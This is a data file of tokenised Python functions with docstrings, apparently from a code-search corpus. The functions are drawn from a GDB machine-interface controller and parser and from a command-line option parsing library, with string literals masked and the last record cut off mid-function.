{"signature": "def get_gdb_response(<EOL>self, timeout_sec=DEFAULT_GDB_TIMEOUT_SEC, raise_error_on_timeout=True<EOL>):", "body": "self.verify_valid_gdb_subprocess()<EOL>if timeout_sec < <NUM_LIT:0>:<EOL><INDENT>self.logger.warning(\"<STR_LIT>\")<EOL>timeout_sec = <NUM_LIT:0><EOL><DEDENT>if USING_WINDOWS:<EOL><INDENT>retval = self._get_responses_windows(timeout_sec)<EOL><DEDENT>else:<EOL><INDENT>retval = self._get_responses_unix(timeout_sec)<EOL><DEDENT>if not retval and raise_error_on_timeout:<EOL><INDENT>raise GdbTimeoutError(<EOL>\"<STR_LIT>\" % timeout_sec<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return retval<EOL><DEDENT>", "docstring": "Get response from GDB, and block while doing so. If GDB does not have any response ready to be read\n        by timeout_sec, an exception is raised.\n\n        Args:\n            timeout_sec (float): Maximum time to wait for reponse. Must be >= 0. Will return after\n            raise_error_on_timeout (bool): Whether an exception should be raised if no response was found\n            after timeout_sec\n\n        Returns:\n            List of parsed GDB responses, returned from gdbmiparser.parse_response, with the\n            additional key 'stream' which is either 'stdout' or 'stderr'\n\n        Raises:\n            GdbTimeoutError if response is not received within timeout_sec\n            ValueError if select returned unexpected file number\n            NoGdbProcessError if there is no gdb subprocess running", "id": "f5445:c2:m6"}
{"signature": "def _get_responses_windows(self, timeout_sec):", "body": "timeout_time_sec = time.time() + timeout_sec<EOL>responses = []<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self.gdb_process.stdout.flush()<EOL>if PYTHON3:<EOL><INDENT>raw_output = self.gdb_process.stdout.readline().replace(<EOL>b\"<STR_LIT:\\r>\", b\"<STR_LIT:\\n>\"<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raw_output = self.gdb_process.stdout.read().replace(b\"<STR_LIT:\\r>\", b\"<STR_LIT:\\n>\")<EOL><DEDENT>responses += self._get_responses_list(raw_output, \"<STR_LIT>\")<EOL><DEDENT>except IOError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>self.gdb_process.stderr.flush()<EOL>if PYTHON3:<EOL><INDENT>raw_output = self.gdb_process.stderr.readline().replace(<EOL>b\"<STR_LIT:\\r>\", b\"<STR_LIT:\\n>\"<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raw_output = self.gdb_process.stderr.read().replace(b\"<STR_LIT:\\r>\", b\"<STR_LIT:\\n>\")<EOL><DEDENT>responses += self._get_responses_list(raw_output, \"<STR_LIT>\")<EOL><DEDENT>except IOError:<EOL><INDENT>pass<EOL><DEDENT>if time.time() > timeout_time_sec:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return responses<EOL>", "docstring": "Get responses on windows. Assume no support for select and use a while loop.", "id": "f5445:c2:m7"}
{"signature": "def _get_responses_unix(self, timeout_sec):", "body": "timeout_time_sec = time.time() + timeout_sec<EOL>responses = []<EOL>while True:<EOL><INDENT>select_timeout = timeout_time_sec - time.time()<EOL>if select_timeout <= <NUM_LIT:0>:<EOL><INDENT>select_timeout = <NUM_LIT:0><EOL><DEDENT>events, _, _ = select.select(self.read_list, [], [], select_timeout)<EOL>responses_list = None  <EOL>try:<EOL><INDENT>for fileno in events:<EOL><INDENT>if fileno == self.stdout_fileno:<EOL><INDENT>self.gdb_process.stdout.flush()<EOL>raw_output = self.gdb_process.stdout.read()<EOL>stream = \"<STR_LIT>\"<EOL><DEDENT>elif fileno == self.stderr_fileno:<EOL><INDENT>self.gdb_process.stderr.flush()<EOL>raw_output = self.gdb_process.stderr.read()<EOL>stream = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % fileno<EOL>)<EOL><DEDENT>responses_list = self._get_responses_list(raw_output, stream)<EOL>responses += responses_list<EOL><DEDENT><DEDENT>except IOError:  <EOL><INDENT>pass<EOL><DEDENT>if timeout_sec == <NUM_LIT:0>:  <EOL><INDENT>break<EOL><DEDENT>elif responses_list and self._allow_overwrite_timeout_times:<EOL><INDENT>timeout_time_sec = min(<EOL>time.time() + self.time_to_check_for_additional_output_sec,<EOL>timeout_time_sec,<EOL>)<EOL><DEDENT>elif time.time() > timeout_time_sec:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return responses<EOL>", "docstring": "Get responses on unix-like system. Use select to wait for output.", "id": "f5445:c2:m8"}
{"signature": "def _get_responses_list(self, raw_output, stream):", "body": "responses = []<EOL>raw_output, self._incomplete_output[stream] = _buffer_incomplete_responses(<EOL>raw_output, self._incomplete_output.get(stream)<EOL>)<EOL>if not raw_output:<EOL><INDENT>return responses<EOL><DEDENT>response_list = list(<EOL>filter(lambda x: x, raw_output.decode(errors=\"<STR_LIT:replace>\").split(\"<STR_LIT:\\n>\"))<EOL>)  <EOL>for response in response_list:<EOL><INDENT>if gdbmiparser.response_is_finished(response):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>parsed_response = gdbmiparser.parse_response(response)<EOL>parsed_response[\"<STR_LIT>\"] = stream<EOL>self.logger.debug(\"<STR_LIT:%s>\", pformat(parsed_response))<EOL>responses.append(parsed_response)<EOL><DEDENT><DEDENT>return responses<EOL>", "docstring": "Get parsed response list from string output\n        Args:\n            raw_output (unicode): gdb output to parse\n            stream (str): either stdout or stderr", "id": "f5445:c2:m9"}
{"signature": "def send_signal_to_gdb(self, signal_input):", "body": "try:<EOL><INDENT>signal = int(signal_input)<EOL><DEDENT>except Exception:<EOL><INDENT>signal = SIGNAL_NAME_TO_NUM.get(signal_input.upper())<EOL><DEDENT>if not signal:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % str(signal)<EOL>)<EOL><DEDENT>if self.gdb_process:<EOL><INDENT>os.kill(self.gdb_process.pid, signal)<EOL><DEDENT>else:<EOL><INDENT>raise NoGdbProcessError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "Send signal name (case insensitive) or number to gdb subprocess\n        gdbmi.send_signal_to_gdb(2)  # valid\n        gdbmi.send_signal_to_gdb('sigint')  # also valid\n        gdbmi.send_signal_to_gdb('SIGINT')  # also valid\n\n        raises ValueError if signal_input is invalie\n        raises NoGdbProcessError if there is no gdb process to send a signal to", "id": "f5445:c2:m10"}
{"signature": "def interrupt_gdb(self):", "body": "self.send_signal_to_gdb(\"<STR_LIT>\")<EOL>", "docstring": "Send SIGINT (interrupt signal) to the gdb subprocess", "id": "f5445:c2:m11"}
{"signature": "def exit(self):", "body": "if self.gdb_process:<EOL><INDENT>self.gdb_process.terminate()<EOL>self.gdb_process.communicate()<EOL><DEDENT>self.gdb_process = None<EOL>return None<EOL>", "docstring": "Terminate gdb process\n        Returns: None", "id": "f5445:c2:m12"}
{"signature": "def parse_response(gdb_mi_text):", "body": "stream = StringStream(gdb_mi_text, debug=_DEBUG)<EOL>if _GDB_MI_NOTIFY_RE.match(gdb_mi_text):<EOL><INDENT>token, message, payload = _get_notify_msg_and_payload(gdb_mi_text, stream)<EOL>return {<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:message>\": message,<EOL>\"<STR_LIT>\": payload,<EOL>\"<STR_LIT>\": token,<EOL>}<EOL><DEDENT>elif _GDB_MI_RESULT_RE.match(gdb_mi_text):<EOL><INDENT>token, message, payload = _get_result_msg_and_payload(gdb_mi_text, stream)<EOL>return {<EOL>\"<STR_LIT:type>\": \"<STR_LIT:result>\",<EOL>\"<STR_LIT:message>\": message,<EOL>\"<STR_LIT>\": payload,<EOL>\"<STR_LIT>\": token,<EOL>}<EOL><DEDENT>elif _GDB_MI_CONSOLE_RE.match(gdb_mi_text):<EOL><INDENT>return {<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:message>\": None,<EOL>\"<STR_LIT>\": _GDB_MI_CONSOLE_RE.match(gdb_mi_text).groups()[<NUM_LIT:0>],<EOL>}<EOL><DEDENT>elif _GDB_MI_LOG_RE.match(gdb_mi_text):<EOL><INDENT>return {<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:message>\": None,<EOL>\"<STR_LIT>\": _GDB_MI_LOG_RE.match(gdb_mi_text).groups()[<NUM_LIT:0>],<EOL>}<EOL><DEDENT>elif _GDB_MI_TARGET_OUTPUT_RE.match(gdb_mi_text):<EOL><INDENT>return {<EOL>\"<STR_LIT:type>\": \"<STR_LIT:target>\",<EOL>\"<STR_LIT:message>\": None,<EOL>\"<STR_LIT>\": _GDB_MI_TARGET_OUTPUT_RE.match(gdb_mi_text).groups()[<NUM_LIT:0>],<EOL>}<EOL><DEDENT>elif response_is_finished(gdb_mi_text):<EOL><INDENT>return {\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT:message>\": None, \"<STR_LIT>\": None}<EOL><DEDENT>else:<EOL><INDENT>return {\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT:message>\": None, \"<STR_LIT>\": gdb_mi_text}<EOL><DEDENT>", "docstring": "Parse gdb mi text and turn it into a dictionary.\n\n    See https://sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI-Stream-Records.html#GDB_002fMI-Stream-Records\n    for details on types of gdb mi output.\n\n    Args:\n        gdb_mi_text (str): String output from gdb\n\n    Returns:\n        dict with the following keys:\n        type (either 'notify', 'result', 'console', 'log', 'target', 'done'),\n        message (str or None),\n        payload (str, list, dict, or None)", "id": "f5447:m1"}
{"signature": "def response_is_finished(gdb_mi_text):", "body": "if _GDB_MI_RESPONSE_FINISHED_RE.match(gdb_mi_text):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return true if the gdb mi response is ending\n    Returns: True if gdb response is finished", "id": "f5447:m2"}
{"signature": "def assert_match(actual_char_or_str, expected_char_or_str):", "body": "if expected_char_or_str != actual_char_or_str:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>pprint(expected_char_or_str)<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>pprint(actual_char_or_str)<EOL>raise ValueError()<EOL><DEDENT>", "docstring": "If values don't match, print them and raise a ValueError, otherwise,\n    continue\n    Raises: ValueError if argumetns do not match", "id": "f5447:m3"}
{"signature": "def _get_notify_msg_and_payload(result, stream):", "body": "token = stream.advance_past_chars([\"<STR_LIT:=>\", \"<STR_LIT:*>\"])<EOL>token = int(token) if token != \"<STR_LIT>\" else None<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(\"<STR_LIT>\"))<EOL>message = stream.advance_past_chars([\"<STR_LIT:U+002C>\"])<EOL>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(message))<EOL>payload = _parse_dict(stream)<EOL>return token, message.strip(), payload<EOL>", "docstring": "Get notify message and payload dict", "id": "f5447:m4"}
{"signature": "def _get_result_msg_and_payload(result, stream):", "body": "groups = _GDB_MI_RESULT_RE.match(result).groups()<EOL>token = int(groups[<NUM_LIT:0>]) if groups[<NUM_LIT:0>] != \"<STR_LIT>\" else None<EOL>message = groups[<NUM_LIT:1>]<EOL>if groups[<NUM_LIT:2>] is None:<EOL><INDENT>payload = None<EOL><DEDENT>else:<EOL><INDENT>stream.advance_past_chars([\"<STR_LIT:U+002C>\"])<EOL>payload = _parse_dict(stream)<EOL><DEDENT>return token, message, payload<EOL>", "docstring": "Get result message and payload dict", "id": "f5447:m5"}
{"signature": "def _parse_dict(stream):", "body": "obj = {}<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(\"<STR_LIT>\"))<EOL>while True:<EOL><INDENT>c = stream.read(<NUM_LIT:1>)<EOL>if c in _WHITESPACE:<EOL><INDENT>pass<EOL><DEDENT>elif c in [\"<STR_LIT:{>\", \"<STR_LIT:U+002C>\"]:<EOL><INDENT>pass<EOL><DEDENT>elif c in [\"<STR_LIT:}>\", \"<STR_LIT>\"]:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>stream.seek(-<NUM_LIT:1>)<EOL>key, val = _parse_key_val(stream)<EOL>if key in obj:<EOL><INDENT>if isinstance(obj[key], list):<EOL><INDENT>obj[key].append(val)<EOL><DEDENT>else:<EOL><INDENT>obj[key] = [obj[key], val]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>obj[key] = val<EOL><DEDENT>look_ahead_for_garbage = True<EOL>c = stream.read(<NUM_LIT:1>)<EOL>while look_ahead_for_garbage:<EOL><INDENT>if c in [\"<STR_LIT:}>\", \"<STR_LIT:U+002C>\", \"<STR_LIT>\"]:<EOL><INDENT>look_ahead_for_garbage = False<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\" + c)<EOL>c = stream.read(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>stream.seek(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(obj))<EOL>return obj<EOL>", "docstring": "Parse dictionary, with optional starting character '{'\n    return (tuple):\n        Number of characters parsed from to_parse\n        Parsed dictionary", "id": "f5447:m6"}
{"signature": "def _parse_key_val(stream):", "body": "logger.debug(\"<STR_LIT>\")<EOL>key = _parse_key(stream)<EOL>val = _parse_val(stream)<EOL>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(key))<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(val))<EOL>return key, val<EOL>", "docstring": "Parse key, value combination\n    return (tuple):\n        Parsed key (string)\n        Parsed value (either a string, array, or dict)", "id": "f5447:m7"}
{"signature": "def _parse_key(stream):", "body": "logger.debug(\"<STR_LIT>\")<EOL>key = stream.advance_past_chars([\"<STR_LIT:=>\"])<EOL>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(key))<EOL>return key<EOL>", "docstring": "Parse key, value combination\n    returns :\n        Parsed key (string)", "id": "f5447:m8"}
{"signature": "def _parse_val(stream):", "body": "logger.debug(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>c = stream.read(<NUM_LIT:1>)<EOL>if c == \"<STR_LIT:{>\":<EOL><INDENT>val = _parse_dict(stream)<EOL>break<EOL><DEDENT>elif c == \"<STR_LIT:[>\":<EOL><INDENT>val = _parse_array(stream)<EOL>break<EOL><DEDENT>elif c == '<STR_LIT:\">':<EOL><INDENT>val = stream.advance_past_string_with_gdb_escapes()<EOL>break<EOL><DEDENT>elif _DEBUG:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % c)<EOL><DEDENT>else:<EOL><INDENT>print(<EOL>'<STR_LIT>'<EOL>% c<EOL>)<EOL>val = \"<STR_LIT>\"  <EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(val))<EOL>return val<EOL>", "docstring": "Parse value from string\n    returns:\n        Parsed value (either a string, array, or dict)", "id": "f5447:m9"}
{"signature": "def _parse_array(stream):", "body": "logger.debug(\"<STR_LIT>\")<EOL>arr = []<EOL>while True:<EOL><INDENT>c = stream.read(<NUM_LIT:1>)<EOL>if c in _GDB_MI_VALUE_START_CHARS:<EOL><INDENT>stream.seek(-<NUM_LIT:1>)<EOL>val = _parse_val(stream)<EOL>arr.append(val)<EOL><DEDENT>elif c in _WHITESPACE:<EOL><INDENT>pass<EOL><DEDENT>elif c == \"<STR_LIT:U+002C>\":<EOL><INDENT>pass<EOL><DEDENT>elif c == \"<STR_LIT:]>\":<EOL><INDENT>break<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT:%s>\", fmt_green(arr))<EOL>return arr<EOL>", "docstring": "Parse an array, stream should be passed the initial [\n    returns:\n        Parsed array", "id": "f5447:m10"}
{"signature": "def main(verbose=True):", "body": "<EOL>find_executable(MAKE_CMD)<EOL>if not find_executable(MAKE_CMD):<EOL><INDENT>print(<EOL>'<STR_LIT>'<EOL>% MAKE_CMD<EOL>)<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>subprocess.check_output([MAKE_CMD, \"<STR_LIT>\", SAMPLE_C_CODE_DIR, \"<STR_LIT>\"])<EOL>gdbmi = GdbController(verbose=verbose)<EOL>responses = gdbmi.write(\"<STR_LIT>\" % SAMPLE_C_BINARY)<EOL>responses = gdbmi.write(\"<STR_LIT>\")<EOL>responses = gdbmi.write(\"<STR_LIT>\")<EOL>responses = gdbmi.write(\"<STR_LIT>\")<EOL>responses = gdbmi.write(\"<STR_LIT>\")<EOL>responses = gdbmi.write(\"<STR_LIT>\")<EOL>responses = gdbmi.write(\"<STR_LIT>\")  <EOL>gdbmi.exit()<EOL>", "docstring": "Build and debug an application programatically\n\n    For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html", "id": "f5448:m0"}
{"signature": "def get_terminal_size(default_cols=<NUM_LIT>, default_rows=<NUM_LIT>):", "body": "def ioctl_GWINSZ(fd):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:                               <EOL><INDENT>rows_cols = struct.unpack('<STR_LIT>', fcntl.ioctl(fd, termios.TIOCGWINSZ, '<STR_LIT>')) <EOL>return tuple(reversed(rows_cols))<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>cr = ioctl_GWINSZ(<NUM_LIT:0>) or ioctl_GWINSZ(<NUM_LIT:1>) or ioctl_GWINSZ(<NUM_LIT:2>)<EOL>if not cr:<EOL><INDENT>try:<EOL><INDENT>fd = os.open(os.ctermid(), os.O_RDONLY)<EOL>cr = ioctl_GWINSZ(fd)<EOL>os.close(fd)<EOL><DEDENT>except:<EOL><INDENT>cr = (int(os.environ.get('<STR_LIT>', default_cols)), <EOL>int(os.environ.get('<STR_LIT>', default_rows)))<EOL><DEDENT><DEDENT>return cr<EOL>", "docstring": "Return current terminal size (cols, rows) or a default if detect fails.\n\n    This snippet comes from color ls by Chuck Blake:\n    http://pdos.csail.mit.edu/~cblake/cls/cls.py", "id": "f5450:m2"}
{"signature": "def get_metainfo(scriptfile,<EOL>keywords=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:version>', '<STR_LIT>'],<EOL>special={},<EOL>first_line_pattern=r'<STR_LIT>',<EOL>keyword_pattern_template=r'<STR_LIT>',<EOL>prettify = lambda kw: kw.capitalize().replace('<STR_LIT:_>', '<STR_LIT:U+0020>')):", "body": "patterns = dict((kw, re.compile(keyword_pattern_template % dict(pretty=prettify(kw), keyword=kw))) for kw in keywords)<EOL>patterns.update(special)<EOL>metainfo = dict()<EOL>if scriptfile[-<NUM_LIT:4>:] in ['<STR_LIT>', '<STR_LIT>']: <EOL><INDENT>scriptfile = scriptfile[:-<NUM_LIT:1>]<EOL><DEDENT>script = open(scriptfile)<EOL>closer = '<STR_LIT>'<EOL>for line in script:<EOL><INDENT>line = line.strip()<EOL>if not line or line.startswith('<STR_LIT:#>'):<EOL><INDENT>continue<EOL><DEDENT>if line[:<NUM_LIT:3>] in ('<STR_LIT>', \"<STR_LIT>\"):<EOL><INDENT>closer = line[:<NUM_LIT:3>] <EOL>break<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not line:<EOL><INDENT>for line in script:<EOL><INDENT>line = line.strip()<EOL>if line:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>g = re.search(first_line_pattern, line[<NUM_LIT:3>:]).groupdict()<EOL>metainfo['<STR_LIT>'] = g['<STR_LIT>']<EOL>if g['<STR_LIT:version>']:<EOL><INDENT>metainfo['<STR_LIT:version>'] = g['<STR_LIT:version>']<EOL><DEDENT>for line in script:<EOL><INDENT>if line.strip().startswith(closer):<EOL><INDENT>break<EOL><DEDENT>for keyword, pattern in list(patterns.items()):<EOL><INDENT>m = pattern.search(line)<EOL>if m:<EOL><INDENT>metainfo[keyword] = m.group(keyword)<EOL>break<EOL><DEDENT><DEDENT>if line.strip() and not '<STR_LIT:description>' in metainfo:<EOL><INDENT>metainfo['<STR_LIT:description>'] = line.strip()<EOL><DEDENT><DEDENT>return metainfo<EOL>", "docstring": "Dumb helper for pulling metainfo from a script __doc__ string.\n\n    Returns a metainfo dict with command, description, progname and the given \n    keywords (if present).   \n\n    This function will only make minimal efforts to succeed. If you need \n    anything else: roll your own.\n\n    The docstring needs to be multiline and the closing quotes need to be first \n    on a line, optionally preceeded by whitespace. \n\n    The first non-whitespace line is re.search'ed using first_line_pattern, \n    default e.g (version optional, contains no whitespace): PROGNAME [vVERSION]\n\n    The next non-whitespace, non-keyword line is expected to be the program \n    description.\n\n    The following lines are re.search'ed against a keyword:pattern dict which\n    is constructed using  \n    keyword_pattern % dict(pretty=prettify(keyword), keyword=keyword)\n    Default prettify is keyword.capitalize().replace('_', ' '). Example,\n    for the keyword \"licence\" will match the following line:\n    License: The MIT license.\n    and set the license metainfo to \"The MIT license.\".\n\n    Any keyword:pattern pairs that need special treatment can be supplied with \n    special.", "id": "f5450:m4"}
{"signature": "def __init__(self, tabsize=<NUM_LIT:4>):", "body": "super(DocParser, self).__init__(untagged=None, tabsize=tabsize)<EOL>self.addblock('<STR_LIT:title>', SingleParagraph)<EOL>self.addblock('<STR_LIT:description>', SingleParagraph)<EOL>self.addblock('<STR_LIT>', SingleParagraph)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', IndentedParagraphs)<EOL>self.addblock('<STR_LIT>', SingleParagraph, True, '<STR_LIT>')<EOL>self.addblock('<STR_LIT>', IndentedParagraphs, True, '<STR_LIT>')<EOL>", "docstring": "tabsize > 0 replaces tab characters with that many spaces. Set <= 0 to \ndisable.", "id": "f5450:c8:m0"}
{"signature": "def optionxform(self, option):", "body": "return option.strip()<EOL>", "docstring": "Strip whitespace only.", "id": "f5450:c9:m0"}
{"signature": "def unusedoptions(self, sections):", "body": "unused = set([])<EOL>for section in _list(sections):<EOL><INDENT>if not self.has_section(section):<EOL><INDENT>continue<EOL><DEDENT>options = self.options(section)<EOL>raw_values = [self.get(section, option, raw=True) for option in options]<EOL>for option in options:<EOL><INDENT>formatter = \"<STR_LIT>\" + option + \"<STR_LIT>\"<EOL>for raw_value in raw_values:<EOL><INDENT>if formatter in raw_value:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>unused.add(option) <EOL><DEDENT><DEDENT>return list(unused)<EOL><DEDENT>", "docstring": "Lists options that have not been used to format other values in \n        their sections. \n\n        Good for finding out if the user has misspelled any of the options.", "id": "f5450:c9:m1"}
{"signature": "def parse(self, argv):", "body": "", "docstring": "Consume and process arguments and store the result.\n\n        Override in subclasses to do actual work. Subclasses may take other\n        params.", "id": "f5450:c10:m2"}
{"signature": "def parsestr(self, argsstr, usedname, location):", "body": "", "docstring": "Parse a string lexically and store the result.\n\n        Override in subclasses to do actual work. Subclasses may take other\n        params.", "id": "f5450:c10:m3"}
{"signature": "def __init__(self, <EOL>name, <EOL>format, <EOL>abbreviation=None, <EOL>default=_UNSET,<EOL>recurring=False, <EOL>reserved=False,<EOL>docs=None):", "body": "super(Option, self).__init__(name, format, recurring, docs)<EOL>if default is _UNSET:<EOL><INDENT>if recurring:<EOL><INDENT>default = []<EOL><DEDENT>else:<EOL><INDENT>default = self.format.default<EOL><DEDENT><DEDENT>self.value = default<EOL>if abbreviation and len(abbreviation) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if abbreviation == '<STR_LIT:->':<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.abbreviation = abbreviation<EOL>self.reserved = reserved<EOL>self.location = \"<STR_LIT>\"<EOL>if docs is None:<EOL><INDENT>if recurring:<EOL><INDENT>self.docs += \"<STR_LIT>\"<EOL><DEDENT>if reserved:<EOL><INDENT>self.docs += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>", "docstring": "name is the long option name. Used in settings files and with a '--'\nprefix on the command line. This should be as brief and descriptive \nas possible. Must be at least length 2, must start and end with a \nletter or number and may contain letters, numbers, underscores and \nhyphens in between.\n\nformat should be a formats.Format subclass or instance, and determines\nhow this option behaves and what arguments it may require. The name of\none of the formats in the tui.formats module is also accepted.\n\nabbreviation (if given) is the one-character abbreviation of the option\nname. Can be anything other than a literal '-' character. Used with a \n'-' prefix on the command line.\n\ndefault is the option's default value. Omit to use format.default, or \nan empty list if the option is recurring.\n\nIf reserved is true the option will be reserved for command line use.\n\ndocs is user friendly help text for the option. None means use \nformat.docs and add note on recurrence or command line reservation.\n\nIf recurring is true, the option allowed to occur several times on the\ncommand line. .value will then be a list of all parsed values, in \nparsing order.", "id": "f5450:c11:m0"}
{"signature": "def parse(self, argv, usedname, location):", "body": "try:<EOL><INDENT>value = self.format.parse(argv)<EOL><DEDENT>except formats.BadNumberOfArguments as e:<EOL><INDENT>raise BadNumberOfArguments(usedname, e.required, e.supplied)<EOL><DEDENT>except formats.BadArgument as e:<EOL><INDENT>raise BadArgument(usedname, e.argument, e.message)<EOL><DEDENT>if self.recurring:<EOL><INDENT>self.value.append(value)<EOL><DEDENT>else:<EOL><INDENT>self.value = value<EOL><DEDENT>self.location = location<EOL>", "docstring": "Consume and process arguments and store the result.\n        ARGS:\n        argv <list str>:\n            The argument list to parse.\n        usedname <str>:\n            The string used by the user to invoke the option.\n        location <str>:\n            A user friendly sring describing where the parser got this\n            data from.", "id": "f5450:c11:m1"}
{"signature": "def parsestr(self, argsstr, usedname, location):", "body": "try:<EOL><INDENT>value = self.format.parsestr(argsstr)<EOL><DEDENT>except formats.BadNumberOfArguments as e:<EOL><INDENT>raise BadNumberOfArguments(usedname, e.required, e.supplied)<EOL><DEDENT>except formats.BadArgument as e:<EOL><INDENT>raise BadArgument(usedname, e.argument, e.message)<EOL><DEDENT>if self.recurring:<EOL><INDENT>self.value.append(value)<EOL><DEDENT>else:<EOL><INDENT>self.value = value<EOL><DEDENT>self.location = location<EOL>", "docstring": "Parse a string lexically and store the result.\n        ARGS:\n        argsstr <str>:\n            The string to parse.\n        usedname <str>:\n            The string used by the user to invoke the option.\n        location <str>:\n            A user friendly sring describing where the parser got this\n            data from.", "id": "f5450:c11:m2"}
{"signature": "def __init__(self, name, format, recurring=False, optional=False, docs='<STR_LIT>', displayname=None):", "body": "super(PositionalArgument, self).__init__(name, format, recurring, docs)<EOL>self.optional = optional<EOL>self._value = None<EOL>self.displayname = displayname or name.upper().replace('<STR_LIT:->', '<STR_LIT:_>')<EOL>if docs is None:<EOL><INDENT>if recurring:<EOL><INDENT>self.docs += \"<STR_LIT>\"<EOL><DEDENT>if optional:<EOL><INDENT>self.docs += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>", "docstring": "name is the name of the positional argument. Must be at least length 2,\nmust start and end with a letter or number and may contain letters, \nnumbers, underscores and hyphens in between.\n\nformat should be a formats.Format subclass or instance, and determines\nhow this positional argument behaves and what arguments it may require. \nThe name of one of the formats in the tui.formats module is also \naccepted.\n\ndocs is user friendly help text for the option. None means use \nformat.docs.\n\nIf recurring is true, this positional argument can be used multiple \ntimes on the command line, and .parse() will consume all arguments fed\nto it.\n\nIf optional is true, the user is permitted to omit this argument from \nthe command line?", "id": "f5450:c12:m0"}
{"signature": "def parse(self, argv):", "body": "if not argv and self.optional:<EOL><INDENT>self.value = [] if self.recurring else None<EOL>return<EOL><DEDENT>try:<EOL><INDENT>value = self.format.parse(argv)<EOL>if not self.recurring:<EOL><INDENT>self.value = value<EOL>return<EOL><DEDENT>self.value = [value]<EOL>while argv:<EOL><INDENT>self.value.append(self.format.parse(argv))<EOL><DEDENT><DEDENT>except formats.BadNumberOfArguments as e:<EOL><INDENT>raise BadNumberOfArguments(self.displayname, e.required, e.given)<EOL><DEDENT>except formats.BadArgument as e:<EOL><INDENT>raise BadArgument(self.displayname, e.argument, e.details)<EOL><DEDENT>", "docstring": "Consume and process arguments and store the result.\n\n        argv is the list of arguments to parse (will be modified).\n\n        Recurring PositionalArgumants get a list as .value.\n\n        Optional PositionalArguments that do not get any arguments to parse get\n        None as .value, or [] if recurring.", "id": "f5450:c12:m2"}
{"signature": "def __init__(self,<EOL>parameters=None,<EOL>version=None,<EOL>install_dir=None,<EOL>argv=None,<EOL>launch=True,<EOL>progname=None,<EOL>author=None,<EOL>title='<STR_LIT>',<EOL>description=None,<EOL>contact=None,<EOL>website=None,<EOL>download=None,<EOL>git=None,<EOL>subversion=None,<EOL>license=None,<EOL>copyright=None,<EOL>command=None,<EOL>usage=None,<EOL>general=None,<EOL>additional=None,<EOL>note=None,<EOL>filedocs=None,<EOL>docsfiles=None,<EOL>docsfilenames=None,<EOL>width=None,<EOL>configfiles=None,<EOL>configdirs=None,<EOL>configfilenames=None,<EOL>sections=None,<EOL>ignore=None,<EOL>helpoption=help_option,<EOL>longhelpoption=longhelp_option,<EOL>versionoption=version_option,<EOL>settingsoption=settings_option):", "body": "params = locals()<EOL>self.options = dict()<EOL>self.option_order = []<EOL>self.abbreviations = dict()<EOL>self.positional_args = []<EOL>for p in parameters:<EOL><INDENT>if isinstance(p, Option):<EOL><INDENT>self._add_option(p)<EOL><DEDENT>elif isinstance(p, 